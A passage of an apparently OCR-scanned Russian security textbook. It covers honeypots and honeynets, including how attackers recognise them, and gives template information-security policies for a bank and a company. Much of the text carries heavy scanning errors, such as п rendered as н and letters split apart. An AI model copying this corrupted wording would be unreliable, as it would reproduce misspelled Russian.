ние модель безонасности Брюса Шнейера (Bruce Schneier), которая 
нодразумевает три уровня: нредотвращение, обнаружение и ответ. 
Ноnеуроt-ловушки могут быть задействованы на всех трех уровнях, 
нанример на уровне нредотвращения Honeypot нрименяется нри за
медлении или нолной остановке автоматических вторжений. Ловуш
ки можно иснользовать для обнаружения неавторизованной активно
сти - в этом случае традиционные решения из области безонасности 
снособны сгенерировать огромный объем журнальных занисей, тогда 
как всего несколько из них отображают реальные нонытки нроник
новения или исследования. Кроме того,  многие современные техно
логии не обладают интеллектуальными снособностями и не могут 
идентифицировать доселе незнакомые атаки. Honeypot решает нроб
лемы такого рода - в силу малого объема нолезной генерируемой 
информации можно быть ночти уверенным, что имеет место атака 
или исследование (рис. 83). 

Honeypof в демнлнта
рнзованной зоне 

Интернет 

Рис. 83. Схема. Нопеуроt-ловушкн 
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Ловушки используются и для реакции на вторжение. Если зло
умышленник проник в сеть и одна из атакованных систем оказалась 
ловушкой, полезная информация, полученная от этой ловушки , 
применяется для ответа на атаку. Описанные преимущества могут 
вызвать иллюзию, будто Honeypot - идеальное средство для обес 
печения максимальной безопасности. Увы, в силу ряда недостатков 
это не так, и Honeypot может служить дополнением к имеющемуся 
комплексу средств защиты. В первую очередь нужно отметить узкую 
направленность конкретной ловушки, также существуют вероятность 
обнаружения и опасность полного взлома Honeypot. 

Honeypot потенциально не способен охватить все  пробле
мы безопасности, поэтому приходится либо исследовать уровень 
безопасности отдельно взятого фрагмента инфраструктуры, либо за
действовать несколько приманок. Нельзя исключить риск осознания 
злоумышленниками того факта, что перед ними не реальный �фронт 
работы�, а лишь подставная ловушка. Чаще всего это происходит из 
за неправильной или недостаточно тщательной настройки ловушки, 
то есть в подавляющем большинстве случаев виновен человеческий 
фактор.  

Приведем пример: Honeypot замаскирован под сервер доменных 
имен ( DNS) ,  работающий под управлением ОС Sun Solaris. Если 
в силу каких-либо причин сервер проявит себя работающим под 
ОС Linux, можно не сомневаться - злоумышленник заподозрит 
ловушку. Еще одна типичная проблема - активность: если это не 
реальный компьютер, то чаще всего он не будет проявлять никакой 
активности (находясь в пассивном режиме ожидания взлома) и 
не станет генерировать сетевой трафик, что сразу же заметит зло
умышленник. 

В интернет-сообществах хакеров довольно остро стоит проблема 
обнаружения Honeypot - это действительно очень эффективное сред
ство безопасности. Для чего даже созданы специальные утилиты, на
пример Honey Hunter, однако однозначного рецепта на данный счет 
нет. Грамотно построенный Honeypot практически невозможно рас
познать, и это еще раз подтверждает, что обнаружение ловушки прак
тически всегда является следствием человеческого фактора. Крайний 
случай неудачи с Honeypot выглядит как полный взлом ловушки и 
использование Honeypot в качестве плацдарма для совершения атак 
на другие устройства и сервисы. Но это весьма редко встречающий
ся сценарий развития событий, ведь никто в здравом уме не станет 
даже теоретически допускать возможность использования ловушки 
как стартовой площадки для нападения на другие объекты. Если раз-
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решить применять Honeypot для соединения с удаленными хостами, 
атакующий будет иметь возможность нападения на другие системы, 
используя IР-адрес ловушки как источник атаки, что с юридической 
точки зрения вызовет серьезные проблемы. Подобную возможность 
можно или запретить, или контролировать, однако если она запре
щена, это может показаться подозрительным злоумышленнику, а если 
она существует, но контролируется, атакующий способен оценить 
ограничения или запрещенные запросы и на основе полученной ин
формации сделать вывод, что атакуемый объект - ловушка. 

Помимо сугубо практического применения Honeypot, описанного 
выше, не менее важна и другая сторона вопроса - исследовательская. 
К сожалению, одна из наиболее актуальных проблем специалистов 
но безопасности заключается в нехватке информации. Кто являет
ся угрозой, зачем они атакуют, каким образом и какие средства ис
пользуют - эти вопросы очень часто не имеют однозначного ответа. 
Осведомлен - значит вооружен, но в мире безопасности такой ин
формации мало - нет источников данных. Это и неудивительно, ведь 
речь идет о настоящем противостоянии специалистов но безопасно
сти и специалистов но �антибезонасности� .  Обычно профессионалы 
безопасности узнавали о злоумышленниках, изучая используемые 
ими средства и анализируя следы атаки. Когда система была ском
прометирована, администраторы часто находили средства злоумыш
ленников, оставленные ими на взломанной системе. Таким образом 
делалось множество предположений, основанных на зафиксирован
ных средствах и методиках. 

Для целей сбора недостающих данных Honeypot помогут отсле
дить весь процесс атаки, вплоть до фиксирования нажатия клавиш 
на клавиатуре. И хотя в общем случае исследовательские ловушки 
не уменьшают риска для организации, собранная с них информация 
вполне может быть применена на реальных системах, например для 
улучшения предупреждения, обнаружения, возможностей протоко
лирования и необходимой реакции на потенциальный взлом. 

Идея Honeypot представлена и в более масштабном понимании -
на уровне целой сети - Honeynet. Это определенная разновидность 
Honeypot, однако подобная система состоит не из одного компьютера 
или активного сетевого устройства, а из целой сети. Она находится 
за межсетевым экраном и перехватывает все входящие и исходящие 
соединения, затем информация об активности злоумышленника рас
сматривается и анализируется. Honeynet, разумеется, создает для 
атакующего более достоверную картину, нежели организованный от
дельно Honeypot. 
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Кроме того, с помощью нескольких машин с различным программ
ным обеспечением можно гораздо больше узнать о действиях хакера, 
нежели при использовании одной ловушки. 

7.9 .  За кл ючен ие 
В этой главе я подробно рассмотрел современные средства защиты. 
В отличие от встроенных в приложения и устройства защитных меха
низмов,  антивирусы, межсетевые экраны и другие средства являются 
отдельными решениями, не входящими в состав других систем. Со
ответственно, их необходимо приобретать и настраивать отдельно от 
защищаемых систем. 

Все компоненты средств защиты следует размещать на выделен
ных серверах и устройствах. Исключение могут составлять только 
антивирусы. Так, например, антивирус для файлового сервера уста
навливается непосредственно на файловое хранилище, а антиснам -
непосредственно на почтовый сервер. 

Внедрение современных средств защиты является неотъемлемой 
частью мероприятий но обеспечению информационной безопасности. 



Н ОРМАТИ ВНАЯ 

ДОКУМЕНТАЦИЯ 

8. 1 . П ол ити ки И Б  

Политики безопасности 

Для эффективного решения задач но обеснечению информационной 
безонасности в организации соответствующий снециалист должен 
разработать комнлект документации, регламентирующий организа
цию рабочих нроцессов в комнании. Однако нусть читателя не нугает 
слово «разрабатывать:? (многие технические снециалисты на дух не 
нереносят работу с документами). В этой главе я нриведу нримеры 
тиновых документов с комментариями, с номощью которых вы сможе
те доработать данные документы нод нужды уже своей организации. 

Но нрежде мне хотелось бы нрояснить ряд моментов, для того что
бы у читателя не возникло ненонимания в вонросах разработки регла
ментов но информационной безонасности. Итак, сотрудники любой 
организации нодчиняются онределенному набору нравил и инструк
ций. Правила онределяют: нродолжительность рабочего дня, время 
нрихода сотрудников на работу, условия труда и нрочее. Инструкции 
регламентируют нроцесс работы с различным оборудованием и до
кументами. Политики но информационной безонасности являются 
неотъемлемой частью этой нормативной базы. При ностунлении на 
работу каждый сотрудник в обязательном норядке ноднисывается 
нод тем, что он обязуется соблюдать требования но обеснечению 
информационной безонасности. Эти требования включают в себя 
соблюдение нолитики конфиденциальности, сохранение в тайне 
нароля, корноративных документов и другой информации. Так вот, 
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если в вашей организации отсутствуют такие регламенты, или не 
все сотрудники под ними подписались, или же данные регламенты 
не содержат всех необходимых требований, то в случае какого-либо 
инцидента ваша организация не сможет предъявить к злоумышлен
нику никаких официальных претензий и, соответственно, не сможет 
потребовать от него через суд возмещения нанесенного вам ущерба. 
Так что советую отнестись к приведенному ниже материалу со всей 
серьезностью. 

В случае если в вашей организации на данный момент нет разра
ботанных политик но информационной безопасности, постарайтесь 
поскорее подготовить данные документы, например с помощью тех 
шаблонов, которые приведены в этой главе. Затем предоставьте дан
ные документы на подпись руководству своей компании, при этом 
вам, возможно , придется разъяснить руководству необходимость 
принятия данных документов.  Заручившись поддержкой руковод
ства организации, ознакомьте всех без исключения сотрудников с 
данными документами и получите их подписи. После этого политики 
но обеспечению информационной безопасности в вашей организации 
начнут действовать. 

Итак, приступим. 
В качестве первого примера я приведу политику безопасности для 

коммерческого банка. Не секрет, что все банки подчиняются опре
деленным требованиям но информационной безопасности, которые 
им предъявляет государство. Поэтому политики безопасности в бан
ках наиболее жесткие (организаций, работающие с гостайной, мы не 
учитываем, так как там своя специфика), и мы воспользуемся ей как 
примером. 

Данный документ описывает политики, применимые к: порядку 
доступа к конфиденциальной информации, работе с криптографиче
скими системами, физической безопасности (доступу в помещения), 
разграничению нрав доступа, работе в глобальной сети Интернет, 
дублированию, резервированию и раздельному хранению конфиден
циальной информации. Как видно из приведенного списка, в данной 
политике охватываются все основные аспекты деятельности органи
зации при работе с ИТ -системами. 

Обратите внимание на то, что в конце каждого пункта приведены 
действия, которые категорически запрещается выполнять. Факти
чески попытка выполнить данные запрещенные действия автома
тически влечет за собой ответственность сотрудника перед работо
дателем. 

Итак, вот пример этой политики безопасности. 
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1 . 1 .  Настоящая П олити ка разработана в соответств и и  с действующим 
законодател ьством, нормати в н ыми а ктами и соотносимыми с ними  
положен и ями в нутренних  документов К Б  «Банк» (далее Б а н к) .  Она 
регл аменти рует порядок ор га н изации  с цел ью обеспечения  сохран
ности и н формаци и и ее  безопасности в Банке как в осуществле н и и  
текущей деятел ьности,  та к и в обозр имом будущем. 
1 . 2 .  П редметом настоя щего документа явля ются : 

• порядок доступа к конфиденциал ьной и н формации ;  
• работа с кри птографическими системами;  
• физическая безопасность (доступ в помещения ); 
• разграни чение  прав  доступа;  
• работа в глобальной сети И нтернет; 
• дубл и рование ,  резерв и рование  и раздел ьное хранен ие  конф иден

циальной и нформа ци и .  

2 .  П о рядок доступа к конфиденциальной и н формаци и 
2 . 1 . В целях обеспеч ени я  за щиты и н форма ци и в Б а н ке уста н а вл и 
вается следующий порядок допуска к работе с конфиденциальн ыми 
источ н и ками : 
• решение  о доступе работн ика к определенному разделу банков

ской и н формации  п р и н имается руководством Банка ;  
• отдел банковских и и нформационных  технологи й обеспеч и вает за

щиту отдел ьных  файлов  и про грамм от чтения ,  удал ения ,  коп и рова
ни я  л и цами,  не допущенными к этому; 

• доступ к комп ьютерной  сети Б а н ка осуществляется тол ько с пер
сонал ьным паролем. П ол ьзовател ь должен держать в та й н е  свой 
па рол ь .  Сооб щать свой парол ь  другим л и цам, а та кже пользовать
ся чужими паролями запрещается . Имя пол ьзователя и па рол ь  на 
вход в АБС должны быть отл и ч н ы  от имен и пользователя и па роля 
в общую комп ьютер ную сеть Банка ;  

• категорически запрещается сн имать неса нкционированные  коп и и  
с носител ей банковской и нформаци и ,  з н а комить с содержа н и ем 
электронной  и н форма ци и л и ц, не допущенных к этому. 

3 .  Работа с кри птографическими системами 
3 . 1 .  К работе с кри птографическими си стемами допуска ются тол ько 
сотрудники  Банка ,  имеющие соответствующее разрешение от руко
водства Банка .  
3 . 2 .  Секретн ые кл ючи  электронно-ци фровых  подписей и ш ифрования  
должны хран иться в сейфах  п од ответственностью л и ц, на  то  упол
н омоч е н н ых .  Доступ неупол номоче н н ых л и ц  к носителям секретн ых 
кл ючей и ш и фрования  должен быть искл ючен .  
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3 . 3 .  Категор и чески запрещается : 
• в ы в одить секретн ые кл ючи  и ш и ф рования  на дисплей комп ьютера 

или  п р и нтер ;  
• устанавли вать в дисковод комп ьютера носител ь секретн ых кл ючей 

и ш и фрования  в неп редусмотренных  режимах функциони рования ;  
• зап исы вать на  носител ь секретн ых кл ючей и ш и ф рования  посторон-

нюю и н формацию .  
3 . 4 .  П р и ком п ромета ции  секретн ых кл ючей ,  ш и ф ро в а н и я  и п рочей  
электронной  и нформаци и Управлением б а н ковских и и нформацион
ных  технологий  п р и н има ются мер ы  для п рекращения  л юбых операций  
с испол ьзованием этих кл ючей и п рочей и нформации ;  п р и н имаются 
меры для смены  кл ючей и ш и фрования ,  па ролей .  П о фа кту комп роме
та ци и ор ганизуется служебное расследован ие,  резул ьтаты которого 
отражаются в акте и доводятся до сведения  руководства Банка .  

4 .  Физическая безопасность 
4 . 1 . Все объекты , крити ч н ые с точ ки зрения  и нформационной  безопас
ности (все серверы  баз дан н ых, телефонная  ста н ция ,  основной  ма рш
рутизатор ,  файервол) ,  находятся в отдел ьном помеще н и и ,  доступ в 
которое разрешен тол ько сотрудн и кам, имеющим соответствующее 
разрешение от руководства Банка .  
4 . 2 .  Вход в помещение  осуществляется через металл и ч ескую дверь ,  
оснащен ную замками (не менее двух) и переговорным устройством. 
Коп и и  кл ючей находятся в службе безопасности банка .  
4 . 3 .  П омещение  оборудовано п р и нудител ьной  вентиляцией и пожа р
ной  си гнал изацией .  Вход в помещение  контрол и руется си стемой  в и 
деонаблюдения  с выходом на  мониторы  охр а н ы .  
4 . 4 .  Кл ючевые  ди скеты , па роли и п рочая конфиденциальная  и нфор
мация хранятся в сейфах .  
4 . 5 .  Доступ в помещен ие  посторонним  л и цам зап рещен . Технически й 
персонал ,  осуществляющий  уборку помещения ,  ремонт оборудова
ния ,  обслуж и в а н и е  конди ционера и т. п . , может находиться в помеще
н и и  тол ько в п р и сутств и и  работн и ков ,  имеющих п р а в о  находиться в 
помещен и и  в связи  с в ы полнением своих должностн ых обязанносте й .  
4 . 6 .  Доступ в помещение  во  в неуроч ное в р емя и л и  в в ыходн ые  и 
п р аздн и ч ные  дни  осуществляется с п и сьменн ого разрешения  п р ед
седателя П ра вления  (его заместител ей ) .  

5 .  Разгра ничение  прав доступа к про граммному обеспечен и ю  и си
стемам хранения  да нных  
5 . 1 .  Для  входа в комп ьютерную сеть Банка сотрудн и к  должен ввести 
имя и пароль .  Не допуска ются режимы беспарольного ( гостевого) до
ступа к какой-либо  банковской и нформа ци и .  
5 . 2 .  В целях за щиты конфиденциальной  и н формации  Банка ор га н и 
зационно и технически разделя ются подразделения  банка ,  имеющие 
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доступ и работающие с разл и ч ной  и нформацией  ( в  раз резе ее кон
фиденциал ьности , секретности и смысловой направлен ности ) .  Данная  
задача  решается с испол ьзован ием сетевой  операционной  системы,  
где в целях обеспечения  защиты данных доступ и права пол ьзователей 
огра н и ч и в а ются персонал ьными каталогам и .  П рава  назначаются в 
соотв етств и и  с п р оиз водственной  необходимостью,  оп ределяемой 
начал ьн и ком подразделения .  
5 . 3 .  П а раметры входа в сеть, имя  и па рол ь пол ьзователем не разгла
ш а ются . Коп и и  на  бумажном носител е держатся в недоступном для 
посторонних  месте . В случае компромета ци и п а роля пол ьзовател ь 
должен незамедл ител ьно обратиться в Управление  и нформа ционных 
технологи й с заявкой о замене.  
5 .4 .  П р и  работе с АБС имя пол ьзователя и парол ь  должны б ыть от
л и ч н ы  от имени  пол ьзователя и пароля  п р и  входе в общую комп ью
те р ную сеть Б а н ка .  П а рол ь должен б ыть не менее пяти символ о в .  
Катего р и ч ески з а п рещается сооб щать с в о й  па рол ь  другим л и цам, 
а та кже пользоваться чужими па ролями . Все действ ия  пол ьзователя ,  
работа ющего с АБС, п р отокол и руются . Журнал операций  хран ится 
не менее шести меся цев .  

6 .  Работа в глобал ьной  сети И нтер нет 
6 . 1 .  К работе с ресурсами сети И нтернет допуска ются сотрудн ики ,  
получ и в ш ие соответствующее разрешение от  руководства Банка (до
статочно устной формы) .  
6 .2 .  Работа сотрудн и ков  Банка с электронной  почтой сети И нтернет 
допускается на основа н и и  отдел ьного разрешения  от руков одства 
Банка (достаточно  устной  формы) .  
6 .3 .  При работе с сетью И нтернет сотрудн и кам зап рещено :  
• скачивать и устанавли вать на компьютер программное обеспечение; 
• п осещать ресурсы ,  не имеющие неп оср едств ен ного отн о ш е н и я  

к работе и служеб ным обязанностям; 
• осуществлять подпи ску на  рассыл ку и нформаци и непроиз водствен-

ного ха рактера ;  
• сооб щать адрес электронной  почты в непроизводственных  целях; 
• пол ьзоваться разл и ч н ыми и нтернет-пейджерами;  
• испол ьзовать И нте рнет для п олуч е н и я  мате р и ал ьной  в ы годы или 

в непроиз водственных  целях, в том ч и сле осуществляя тор говлю 
через И нтернет. 

7. Дубл и рование ,  резерви рование  и раздел ьное хранение  конф иден
циал ьной и нформаци и 
7 . 1 .  В целях за щиты банков ской и нформаци и от п реднамеренного 
или  же неп реднамерен ного ее уни чтожения ,  фал ьси ф и ка ци и  или  раз
глашения  обеспеч ить :  
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• ежедневное обязател ьное резерв и рование всей и нформаци и ,  имею
щей конф иденциал ь н ы й  характер; 

• дубл и р о в а н и е  и н формации  с использованием разл и ч ных  физиче-
ских и а п п а ратных носителей .  

7 . 2 .  Ответственность за хранение  и резер в и рование  и н форма ци и в 
электрон ном в иде возложить на Отдел банковских и и нформационных 
технологи й .  

Мы рассмотрели политику безопасности для организации, ра
ботающей в банковской сфере. Теперь в качестве другого примера 
рассмотрим пример политики, используемой в коммерческой орга
низации. Здесь приведенные цели политики несколько отличаются 
от приведенных выше в политике для банка. Вот эти цели: сохране
ние конфиденциальности критичных информационных ресурсов ; 
обеспечение непрерывности доступа к информационным ресурсам 
Компании для поддержки бизнес -деятельности; защита целостности 
деловой информации с целью поддержания возможности Компа
нии но оказанию услуг высокого качества и принятию эффективных 
управленческих решений; повышение осведомленности пользова
телей в области рисков,  связанных с информационными ресурсами 
Компании ;  определение степени ответственности и обязанностей 
сотрудников но обеспечению информационной безопасности в Ком
пании. Как видно, цели политики другие, и они имеют несколько 
иную задачу, а именно регламентируют действия но соблюдению 
информационной безопасности, в отличие от предыдущей политики, 
которая регламентировала все действия но работе пользователя в 
корпоративной сети. 

1 .  Общие положения  
И нформация является ценным и жизненно  важным ресурсом ВАШ Е Й_ 
КОМ ПАН И И  (далее - Компания ) .  Н астоя щая пол ити ка и нформаци
о н н о й  безопасн ости п р едусматр и вает п р и нятие необходимых мер 
в целях за щиты акти вов  от случ ай ного или  преднамеренного измене
ни я ,  раскр ытия или  уни чтожения ,  а та кже в целях соблюдения  конфи 
ден циальности , целостности и доступности и нформаци и ,  обеспечения  
процесса а втоматизированной  обработки да н н ых в Комп а н и и .  
Ответственность за соблюдение  и нформационной  безопасности не
сет каждый сотрудн и к  Комп а н и и ,  п р и  этом первоочередной задачей  
является обеспечение  безопасности всех акти вов  Комп а н и и .  Это з на
ч ит, что и нформация должна б ыть защищена не менее надежно,  чем 
л юбой другой основной  а кти в Комп а н и и .  Гла в н ы е  цел и Комп а н и и  не 
могут б ыть дости гнуты без своев ременного и пол ного обеспечения  
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сотрудн и ков  и нформацией ,  необходимой им для в ы п ол нени я  своих  
служебных  обязанносте й .  
В настоящей П ол ити ке под терми ном «сотрудн и к» пон имаются все 
сотрудн и ки Компа н и и .  Н а  л и ц, работа ющих в Компа н и и  по договорам 
гражда нско-правового ха рактера,  в том ч и сле п р и кома нди рован ных, 
положения  настоя щей П ол ити ки расп ространяются в случае, есл и это 
обусловлено в та ком договоре .  

1 . 1 .  Цел ь и назначение  настоя щей П ол итики 
Целями настоя щей П ол ити ки являются : 
• сохранение  конфиденциальности крити ч н ых и нформационных  ре

сурсов;  
• обеспечение  непрер ывности доступа к и нформационным ресурсам 

Компа н и и  для поддержки би знес-деятел ьности ;  
• за щита цел остности дел овой  и н ф орма ци и с цел ью поддержа н и я  

в озможности Комп а н и и  п о  оказ а н и ю  услуг в ы сокого кач ества и 
п р и няти ю эффекти в н ых управленческих решен и й ;  

• п о в ы ш е н и е  осведомленности пол ьзователей  в области рисков,  свя
занных  с и нформацион ными ресурсами Компа н и и ;  

• определение  степени  ответственности и обяза н ностей сотрудн и ков  
по  обеспечен и ю  и нформационной  безопасности в Комп а н и и .  

Руков одител и подраздел е н и й  Комп а н и и  должны  обеспеч ить ре гу
л я р н ы й  контрол ь за соблюдением положе н и й  настоя щей П ол ити ки . 
К р оме того, должна б ыть ор ган и зована  п е р и одическая п р о в е р ка 
собл юдени я  и нформационной  безопасности с последующим п р ед
ставлением отчета по резул ьтатам указанной  п роверки  Руководству. 

1 . 2 .  О бл асть п р именения  настоя щей П ол итики 
Требов а н и я  настоящей П ол ити ки расп ространя ются на всю и нфор
маци ю и ресурсы обработки и нформаци и Комп а н и и .  Собл юде н и е  
настоящей П ол итики обязател ьно для всех сотрудн и ков  ( к а к  постоя н
н ых, та к и в ременн ых) .  В договорах с третьими л и цами,  получающими 
доступ к и н форма ции  Комп а н и и ,  должна б ыть оговорена обязанность 
третьего л и ца по собл юде н и ю  требов а н и й  настоя щей П ол итики . 
Комп а н и и  п р и надлежат на п раве  собственности (в том ч и сле  на праве  
и нтеллектуальной  собственности)  в с я  дел овая и н формация и в ы ч и с
л ител ьные  ресурсы,  п р иобретенные  ( полученные) и в веденные  в экс
плуата ци ю в целях осуществл е н и я  ею деятел ьности в соответств и и  
с действующим законодател ьством. Указан ное п р а в о  собственности 
распростр аняется на гол осовую и ф а ксимил ьную связь ,  осуществ
ляемую с испол ьзова н и ем оборудовани я  Комп а н и и ,  л и цензион ное 
и разработа н н ое п р о граммное обеспеч е н и е, содержа н и е  я щ и ков  
электронной  п очты,  бумажные  и электронные  документы всех фун к
ционал ьных  подразделений  и персонала Комп а н и и .  
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2. Требова н и я  и рекоменда ции  
2 . 1 .  Ответственность за и нформационные  а кти в ы  
В отношении всех собственных и нформационных акти вов Компании ,  ак
ти вов,  находящихся под контролем Компании ,  а также акти вов,  испол ь
зуемых для получения  доступа к и нф раструктуре Компании ,  должна быть 
оп ределена ответственность соответствующего сотрудника Компании .  
И нформация о смене владел ьцев акти вов ,  их расп ределении ,  изменени
ях в конфи гурации и испол ьзовании  за пределами Компании  должна до
водиться до сведения руководителя Департамента и нформационных тех
нологий и руководителя Департамента защиты и нформации Компании .  

2 . 2 .  Контрол ь доступа  к и нформаци онным системам 
2 . 2 . 1 .  Общие пол ожения  
Все  работы в предел ах офисов Компа н и и  в ы п олняются в соответств и и  
с оф и циальными должностн ыми обяз а н ностями тол ько на комп ьюте
рах, разрешенных  к испол ьзова н и ю  в Компани и .  
В нос в здани я  и помещения  Компа н и и  л и ч ных  портати в н ых комп ью
теров и в нешних  носителей  и нформа ции  (диски ,  дискеты , флэш-ка рты 
и т. п . ) , а также вы нос их за  предел ы Компа н и и  производится тол ько 
при согласова н и и  с Депа ртаментом за щиты и нформаци и Комп а н и и .  
Все да н н ы е  ( конфиде н ци ал ьные  и л и  строго конф иденци ал ьные) ,  со
ставляющие коммерческую тай ну Комп а н и и  и хранящиеся на  жестких 
ди сках портати вных  комп ьютеров ,  должны б ыть з а ш и ф р о в а н ы .  Все 
п о ртати в н ы е  комп ьюте р ы  Комп а н и и  должн ы  б ыть осн ащены  п р о
граммным обеспечением по ш и ф р о в а н и ю  жесткого диска . 
Руководител и подразделений  должн ы  периодически пересматри в ать 
права  доступа  своих сотрудн и ков  и других пользователей к соответ
ствующим информаци онным ресурсам. 
В целях обеспечения  са нкционирован ного доступа к и н формацион
ному ресурсу л юбой вход в систему должен осуществляться с испол ь
зованием ун и кального имени  пол ьзователя и па роля .  
П ол ьзовател и должны руководствоваться рекоменда циями по  за щите 
своего пароля  на эта пе  его в ы бора и последующего испол ьзования .  
З а п рещается сооб щать свой па рол ь  другим л и цам или  предоставлять 
свою учетную запись  другим, в том ч и сле  членам своей семьи и близ
ким, есл и работа вы пол няется дома .  
В процессе своей работы сотрудн и ки обязаны  постоя нно испол ьзо
вать режим «Э кра нной  заста в ки » с парол ьной  за щитой . Рекоменду
ется уста навли вать ма ксимал ьное в ремя « п ростоя» комп ьютера  до 
появления  экранной  заста вки  не дол ьше 1 5  ми нут. 

2 . 2 . 2 .  Доступ третьих л и ц  к системам Компании  
Кажды й сотрудн и к  обязан  немедленно  уведомить руководителя Де
па ртамента и нформационных  технол огий  и руководителя Деп о рта-
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мента за щиты и нформаци и обо всех случ аях предоставления  доступа  
третьим л и цам к ресурсам корпорати вной  сети . 
Доступ третьих л и ц  к и нформа цион н ым системам Комп а н и и  должен 
б ыть обусловлен производственной необходимостью. В связи  с этим 
порядок доступа к и нформационным ресурсам Компа н и и  должен быть 
четко определен ,  контрол и руем и защи щен .  

2 . 2 . 3 .  Удаленный  доступ 
П ол ьзовател и получают п р а в о  удаленного доступа к информацион
ным ресурсам Комп а н и и  с учетом их взаимоотношен и й  с Компанией .  
Сотрудни кам, и с п ол ьзую щим в р а б оте п о ртати в н ы е  комп ьюте р ы  
Комп а н и и , может б ыть п р едоста влен  удал е н н ы й  доступ к сетевым  
ресурсам Комп а н и и  в соответств и и  с п р а вами в корпорати вной  и н 
формационной  системе. 
Сотрудни кам, работа ющим за пределами Компании  с испол ьзованием 
комп ьютера,  не п р и н адлежа щего Комп а н и и ,  зап рещено коп ирование  
данных на комп ьютер,  с которого осуществляется удаленный  доступ .  
Сотрудники  и третьи л и ца ,  имеющие право  удаленного доступа к и н 
формационным ресурсам Комп а н и и ,  должн ы  собл юдать требование ,  
искл ю ч а ю щее однов ременное  п одкл юч е н и е  их  комп ьютера  к сети 
Комп а н и и  и к каким-л ибо  другим сетям, не п р и надлежа щим Комп а н и и .  
В с е  комп ьюте р ы ,  п одкл ю ч аемые посредством удале н н ого доступа  
к и н формационной  сети Комп а н и и ,  должны иметь про граммное обес
печение  а нти в и русной за щиты , имеющее последн ие  обновлени я .  

2 . 2 . 4 .  Доступ к сети И нтер нет 
Доступ к сети И нтернет обеспеч и вается тол ько в производственных 
целях и не может испол ьзоваться для незакон ной  деятел ьности . 
Рекомендованные  п р а в ил а :  

сотрудни кам Комп а н и и  разрешается испол ьзовать сеть И нтернет 
тол ько в служебных  целях; 
запрещается посещение  л юбого сайта в сети И нтернет, кото р ы й  
сч итается оскорб ител ьным для об щественного м н е н и я  ил и содержит 
и нформаци ю сексуал ьного характера ,  пропа ганду расовой нена
в и сти ,  коммента р и и  по  поводу разл и ч ия/превосходства полов ,  дис
кредити рующие заявления  или  и н ы е  материалы  с оскорб ител ьными 
в ысказы вани ями по  поводу ч ьего-л ибо  возраста, сексуал ьной ори 
ентации ,  рел и ги оз н ых ил и пол ити ческих убежде н и й ,  национал ьного 
происхождения  ил и недееспособ ности ;  
сотрудники  Комп а н и и  не должны испол ьзовать сеть И нтернет для 
хра нения  корпорати в н ых да н н ых; 

• работа сотрудн и ков Комп а н и и  с и нтернет-ресурсами допускается 
тол ько режимом п росмотра и нформа ц и и ,  искл ючая  возможность 
переда ч и  и нформации  Компа н и и  в сеть И нтернет; 
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• сотрудн и кам, имеющим л и ч ные  учетные записи ,  п редоста вленные  
публ и ч н ыми провайдерами,  не  разрешается пол ьзоваться ими  на 
оборудо в а н и и ,  п р и н адлежа щем Комп а н и и ;  

• сотрудн и ки Комп а н и и  перед откр ытием и л и  расп р остр а н е н и ем 
файлов ,  полученных  через сеть И нтернет, должн ы  проверить их на 
нал и ч и е  в и русов ;  

• зап рещен доступ в И нтернет через сеть Компа н и и  для всех л и ц, 
не являющихся сотрудн и ками Комп а н и и ,  в ключая  членов  семьи со
трудн и ков  Комп а н и и .  

Специал исты Депа ртамента и нформаци онных  технологий  и Деп а рта
мента за щиты и нформации  имеют право  контрол и ровать содержа ние  
всего потока и нформа ци и ,  п р оходя щей через канал с в я з и  к сети И н
тернет в обоих направлениях .  

2 . 3 .  Защита оборудования  
Сотрудники  должны постоя нно помн ить о необходимости обеспече
ния ф и з и ческой безопасности оборудования ,  на котором хран ится 
и н форма ция Комп а н и и .  
Сотрудн и кам з а п рещено самостоятел ьно  изменять кон ф и гурацию 
а п п а ратного и п р о граммного обеспеч е н и я .  Все  изменени я  п роиз 
водят авторизованные  специал исты Департамента и н формационных  
технологи й после согласования  изменен и й  с Департаментом за щиты 
и н формаци и .  

2 . 3 . 1 .  Аппаратное обеспечение  
Все компьютер ное оборудование  (серверы ,  ста циона рные  и порта
ти в н ы е  комп ьютеры ) , периферий ное оборудование  ( например, п р и н
тер ы  и сканеры ) ,  а ксессуа р ы  (ма н и пулятор ы  ти па  «мы шь», шаровые  
ма н и пул ятор ы ,  дисков оды дл я СО-дисков ) ,  коммун и кационное обо
рудование  ( напр имер ,  фа кс-модемы,  сетевые  ада птеры  и концентра
торы )  для целей  настоя щей П ол итики вместе именуются «комп ьютер
ное оборудование» . Компьютерное оборудование ,  п редоста влен ное 
Компанией ,  является ее собственностью и п редназ начено для испол ь
зования  исключ ител ьно в п роизводственных  целях. 
П ол ьзовател и портати в н ых компьютеров ,  содержа щих и нформа цию,  
соста вляющую коммерческую та й ну Комп а н и и ,  обязаны  обеспечить 
их хранение  в физи чески защищенных  помещениях, з а п и раемых ящи
ках рабочего стол а ,  ш кафах или обеспечить их защиту с помощью 
аналоги ч н ого по  степени  эффекти вности за щитного устройства в слу
чаях, когда дан н ы й  комп ьютер не испол ьзуется . 
Каждый сотрудн и к, получ и в ш и й  в пол ьзование  портати в н ы й  комп ью
тер ,  обязан п р и нять надлежа щие мер ы  по  обеспечен и ю  его сохран
н ости как в оф и се,  та к и по  месту п р ож и в а н и я .  В ситуа циях,  когда 
возрастает степень  р и ска кражи портативных  компьютеров ,  напри -



ПОЛИТИ КИ И Б 439 

мер в гости н и цах, аэропортах, в оф исах деловых  п а ртнеров и т. д. , 
пользовател и обязаны  н и  п р и  ка ких обстоятел ьствах не оста влять их 
без п р и смотра .  
Во  в ремя поездки в а втомоб иле портати в н ы й  комп ьютер должен на
ходиться в ба гаж н и ке .  Н а  ночь  его следует перенести из а втомоб иля 
в гости н и ч н ы й  номер .  
Все  комп ьютеры  должны защи щаться паролем п р и  за груз ке системы,  
а кти вации  по  горячей  кла в и ше и после выхода из  режима «Э кранной  
заста в ки» .  Для уста новки  режимов за щиты пользовател ь должен об
ратиться в службу техни ческой п оддержки . Да н н ы е  не должны б ыть 
скомпромети рованы  в случ ае халатности или небрежности ,  п р и в ед
ш е й  к п отере  оборудо в а н и я .  П е ред утил и зацией  все компоненты 
оборудо в а н и я ,  в соста в которых  входят носител и да н н ы х  ( в кл ючая  
жесткие  диски ) ,  необходимо проверять, чтобы убедиться в отсутств и и  
на  н и х  конфиденциальных  данных  и л и ценз и о н н ых п р одуктов .  Должна 
в ы п олн яться процедура формати рования  носителей  и н формаци и ,  и с
кл юча ющая возможность восстановления  да н н ых .  
П р и  записи  какой-л и б о  и нформации  на носител ь для переда ч и  е го 
контра гентам или  па ртнерам по  биз несу необходимо убедиться в том, 
что носител ь ч и ст, то есть не содержит н и ка ких и н ых да н н ых .  П ростое 
